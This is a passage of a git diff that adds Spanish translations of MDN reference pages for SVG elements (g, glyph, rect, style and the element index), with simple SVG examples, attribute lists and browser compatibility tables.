+   <td>{{ CompatNo() }}</td>
+   <td>2.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>2.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>2.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>The chart is based on <a href="/en-US/docs/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">these sources</a>.</p>
diff --git a/files/es/web/svg/element/g/index.html b/files/es/web/svg/element/g/index.html
new file mode 100644
index 0000000000..1c0438c53d
--- /dev/null
+++ b/files/es/web/svg/element/g/index.html
@@ -0,0 +1,110 @@
+---
+title: g
+slug: Web/SVG/Element/g
+tags:
+  - Contenedor
+  - Contenedor SVG
+  - Elemento
+  - Referencia
+  - SVG
+translation_of: Web/SVG/Element/g
+---
+<div>{{SVGRef}}</div>
+
+<div>El elemento <code>g</code> es un contenedor usado para agrupar objetos. Las transformaciones aplicadas al elemento <code>g</code> son realizadas sobre todos los elementos hijos del mismo. Los atributos aplicados son heredados por los elementos hijos. Además, puede ser usado para definir objetos complejos que pueden luego ser referenciados con el elemento {{SVGElement("use")}}.</div>
+
+<div> </div>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html" style="color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; text-align: -webkit-auto; text-indent: 0px; text-transform: none;">&lt;svg width="100%" height="100%" viewBox="0 0 95 50"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;g stroke="green" fill="white" stroke-width="5"&gt;
+    &lt;circle cx="25" cy="25" r="15" /&gt;
+    &lt;circle cx="40" cy="25" r="15" /&gt;
+    &lt;circle cx="55" cy="25" r="15" /&gt;
+    &lt;circle cx="70" cy="25" r="15" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Ejemplo",220,130)}}</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en-US/docs/SVG/Attribute#ConditionalProccessing" title="SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Core" title="SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#GraphicalEvent" title="SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Presentation" title="SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Atributos_Específicos">Atributos Específicos</h3>
+
+<p><em>No hay atributos específicos</em></p>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en-US/docs/DOM/SVGGElement" title="DOM/SVGGElement">SVGGElement</a></code>.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th scope="col">Característica</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop('1.8')}}</td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('8.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>La tabla está basada en <a href="/en-US/docs/SVG/Compatibility_sources" title="SVG/Compatibility sources">these sources</a>.</p>
diff --git a/files/es/web/svg/element/glifo/index.html b/files/es/web/svg/element/glifo/index.html
new file mode 100644
index 0000000000..78f97fe3bb
--- /dev/null
+++ b/files/es/web/svg/element/glifo/index.html
@@ -0,0 +1,114 @@
+---
+title: glyph
+slug: Web/SVG/Element/glifo
+tags:
+  - Contenido de texto SVG
+  - Elemento
+  - Fuentes SVG
+  - Glifos
+  - NeedsCompatTable
+  - Referencia
+  - SVG
+translation_of: Web/SVG/Element/glyph
+---
+<div>{{SVGRef}}</div>
+
+<p>Un glifo define a un glifo en particular en una fuente SVG.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Elemento de contenido de texto.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>
+    <p>Cualquier número de los siguientes elementos, en cualquier orden:<br>
+     <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">elementos de animación</a> »<br>
+     <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">elementos descriptivos</a> »<br>
+     <a href="/en/SVG/Element#Shape" title="en/SVG/Attribute#Shape">elementos de forma</a> »<br>
+     <a href="/en/SVG/Element#Structural" title="en/SVG/Attribute#Structural">elementos estructurales</a> »<br>
+     <a href="/en/SVG/Element#Gradient" title="en/SVG/Attribute#Gradient">elementos de gradiente</a> »<br>
+     {{ SVGElement("a") }}, {{ SVGElement("altGlyphDef") }}, {{ SVGElement("clipPath") }}, {{ SVGElement("color-profile") }}, {{ SVGElement("cursor") }}, {{ SVGElement("filter") }}, {{ SVGElement("font") }}, {{ SVGElement("font-face") }}, {{ SVGElement("foreignObject") }}, {{ SVGElement("image") }}, {{ SVGElement("marker") }}, {{ SVGElement("mask") }}, {{ SVGElement("pattern") }}, {{ SVGElement("script") }}, {{ SVGElement("style") }}, {{ SVGElement("switch") }}, {{ SVGElement("text") }}, {{ SVGElement("view") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/fonts.html#GlyphElement" title="http://www.w3.org/TR/SVG/fonts.html#GlyphElement">SVG 1.1 (Segunda edición)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="yes"?&gt;
+&lt;svg width="400px" height="300px" version="1.1"
+  xmlns = 'http://www.w3.org/2000/svg'&gt;
+&lt;!-- Example copied from http://www.w3.org/TR/SVG/fonts.html#GlyphElement --&gt;
+  &lt;defs&gt;
+
+    &lt;font id="Font1" horiz-adv-x="1000"&gt;
+      &lt;font-face font-family="Super Sans" font-weight="bold" font-style="normal"
+          units-per-em="1000" cap-height="600" x-height="400"
+          ascent="700" descent="300"
+          alphabetic="0" mathematical="350" ideographic="400" hanging="500"&gt;
+        &lt;font-face-src&gt;
+          &lt;font-face-name name="Super Sans Bold"/&gt;
+        &lt;/font-face-src&gt;
+      &lt;/font-face&gt;
+
+      &lt;missing-glyph&gt;&lt;path d="M0,0h200v200h-200z"/&gt;&lt;/missing-glyph&gt;
+      &lt;glyph unicode="!" horiz-adv-x="80" d="M0,0h200v200h-200z"&gt;&lt;/glyph&gt;
+      &lt;glyph unicode="@" d="M0,50l100,300l400,100z"&gt;&lt;/glyph&gt;
+
+    &lt;/font&gt;
+  &lt;/defs&gt;
+  &lt;text x="100" y="100"
+           style="font-family: 'Super Sans', Helvetica, sans-serif;
+                  font-weight: bold; font-style: normal"&gt;Text
+    using embe@dded font!&lt;/text&gt;
+&lt;/svg&gt;
+
+
+</pre>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Atributos centrales</a>»</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Atributos de presentación</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("horiz-adv-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-y") }}</li>
+ <li>{{ SVGAttr("vert-adv-y") }}</li>
+ <li>{{ SVGAttr("unicode") }}</li>
+ <li>{{ SVGAttr("glyph-name") }}</li>
+ <li>{{ SVGAttr("orientation") }}</li>
+ <li>{{ SVGAttr("arabic-form") }}</li>
+ <li>{{ SVGAttr("lang") }}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en/DOM/SVGGlyphElement" title="en/DOM/SVGGlyphElement">SVGGlyphElement</a></code>.</p>
+
+<h2 id="Relacionado">Relacionado</h2>
+
+<ul>
+ <li>{{ SVGElement("font") }}</li>
+ <li>{{ SVGElement("missing-glyph") }}</li>
+ <li><a href="/en/SVG/Tutorial/SVG_fonts" title="en/SVG/Tutorial/SVG_Fonts">Tutorial SVG: Fuentes SVG</a></li>
+</ul>
diff --git a/files/es/web/svg/element/index.html b/files/es/web/svg/element/index.html
new file mode 100644
index 0000000000..cb741fc471
--- /dev/null
+++ b/files/es/web/svg/element/index.html
@@ -0,0 +1,297 @@
+---
+title: Referencia de Elementos SVG
+slug: Web/SVG/Element
+tags:
+  - NeedsTranslation
+  - SVG
+  - SVG Reference
+  - TopicStub
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/en-US/docs/SVG" title="SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute" title="SVG/Attribute">SVG Attribute reference</a> »</p>
+
+<p>Los dibujos e imágenes SVG son creados utilizando una amplia variedad de elementos dedicados a la construcción, el dibujo y el diseño de imágenes y diagramas vectoriales. Aquí encontrarás la documentación de referencia para cada uno de los elementos SVG.</p>
+
+<h2 id="Elementos_SVG">Elementos SVG</h2>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+ <li>{{SVGElement("discard")}}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feDropShadow")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{SVGElement("hatch")}}</li>
+ <li>{{SVGElement("hatchpath")}}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("mesh")}}</li>
+ <li>{{SVGElement("meshgradient")}}</li>
+ <li>{{SVGElement("meshpatch")}}</li>
+ <li>{{SVGElement("meshrow")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("solidcolor")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+ <li>&lt;</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{SVGElement("unknown")}}</li>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+</ul>
+</div>
+
+<h2 id="Elementos_SVG_por_Categorías">Elementos SVG por Categorías</h2>
+
+<h3 id="Elementos_de_Animación">Elementos de Animación</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="Formas_básicas">Formas básicas</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Elementos_Contenedores">Elementos Contenedores</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
+
+<h3 id="Elementos_Descriptivos">Elementos Descriptivos</h3>
+
+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Elementos_de_Filtros_Primitivos">Elementos de Filtros Primitivos</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="Elementos_de_Fuentes">Elementos de Fuentes</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="Elementos_de_Gradientes">Elementos de Gradientes</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="Elementos_Gráficos">Elementos Gráficos</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Elementos_de_referencia_de_gráficos">Elementos de referencia de gráficos</h3>
+
+<p>{{SVGElement("mesh")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Elementos_que_crean_luz">Elementos que crean luz</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
+
+<h3 id="Elementos_que_no_se_renderizan">Elementos que no se renderizan</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Elementos_de_servidor_para_pintar">Elementos de servidor para pintar</h3>
+
+<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p>
+
+<h3 id="Elementos_renderizables">Elementos renderizables</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Elementos_de_forma">Elementos de forma</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Elementos_estructurales">Elementos estructurales</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Elementos_de_contenido_textual">Elementos de contenido textual</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Elementos_secundarios_de_contenido_textual">Elementos secundarios de contenido textual</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Elementos_sin_categorizar">Elementos sin categorizar</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
+
+<h2 id="Elementos_obsoletos_y_deprecated">Elementos obsoletos y deprecated</h2>
+
+<div class="blockIndicator warning">
+<p><strong>Advertencia:</strong> Estos son elementos antiguos de SVG que están en desuso y no deben utilizarse. <strong> Nunca debe usarlos en nuevos proyectos, y debe reemplazarlos en proyectos antiguos tan pronto como sea posible.</strong> Se enumeran aquí sólo con fines informativos.</p>
+</div>
+
+<p> </p>
+
+<h3 id="A_2">A</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("animateColor")}}</p>
+
+<h3 id="C_2">C</h3>
+
+<p>{{SVGElement("cursor")}}</p>
+
+<h3 id="F_2">F</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}</p>
+
+<h3 id="G_2">G</h3>
+
+<p>{{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}</p>
+
+<h3 id="H_2">H</h3>
+
+<p>{{SVGElement("hkern")}}</p>
+
+<h3 id="M_2">M</h3>
+
+<p>{{SVGElement("missing-glyph")}}</p>
+
+<h3 id="T_2">T</h3>
+
+<p>{{SVGElement("tref")}}</p>
+
+<h3 id="V_2">V</h3>
+
+<p>{{SVGElement("vkern")}}</p>
+
+<p> </p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute">SVG attribute reference</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial">SVG Tutorial</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model#SVG_interfaces">SVG interface reference</a></li>
+</ul>
+
+<p>{{SVGRef}}</p>
diff --git a/files/es/web/svg/element/rect/index.html b/files/es/web/svg/element/rect/index.html
new file mode 100644
index 0000000000..b61b77ba47
--- /dev/null
+++ b/files/es/web/svg/element/rect/index.html
@@ -0,0 +1,141 @@
+---
+title: rect
+slug: Web/SVG/Element/rect
+tags:
+  - Elemento
+  - Gráficos SVG
+  - Referencia
+  - SVG
+translation_of: Web/SVG/Element/rect
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento <code>rect</code> es una forma básica de SVG, usada para crear rectángulos basada en la posición de una esquina, su alto y ancho.<br>
+ También podría ser usada para crear rectángulos con esquinas redondeadas.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Uso_simple_de_rect">Uso simple de <code>rect</code></h3>
+
+<p> </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"/&gt;
+&lt;/svg&gt;</pre>
+
+<p> </p>
+
+<p>» <a href="https://mdn.mozillademos.org/files/8893/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p>
+
+<h3 id="rect_con_esquinas_redondeados"><code>rect</code> con esquinas redondeados</h3>
+
+<p> </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10"
+        width="100" height="100"
+        rx="15" ry="15"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>» <a href="https://mdn.mozillademos.org/files/8897/rect-2.svg" title="https://developer.mozilla.org/files/3248/rect-2.svg">rect-2.svg</a></p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en/DOM/SVGRectElement" title="en/DOM/SVGRectElement">SVGRectElement</a></code>.</p>
+
+<h2 id="Compatibilidad_de_los_Navegadores">Compatibilidad de los Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Esta tabla está basada en <a href="/en/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">estos recursos</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ SVGElement("path") }}</li>
+</ul>
diff --git a/files/es/web/svg/element/style/index.html b/files/es/web/svg/element/style/index.html
new file mode 100644
index 0000000000..f48b22ad0a
--- /dev/null
+++ b/files/es/web/svg/element/style/index.html
@@ -0,0 +1,112 @@
+---
+title: style
+slug: Web/SVG/Element/style
+translation_of: Web/SVG/Element/style
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento <code>style</code> permite agregar directamente hojas de estilo en el contenido del SVG. El elemento style de SVG tiene los mismos atributos que el elemento correspondiente en HTML (ver elemento  {{ HTMLElement("style") }} de HTML).</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;svg width="100%" height="100%" viewBox="0 0 100 100"
+     xmlns="http://www.w3.org/2000/svg"&gt;
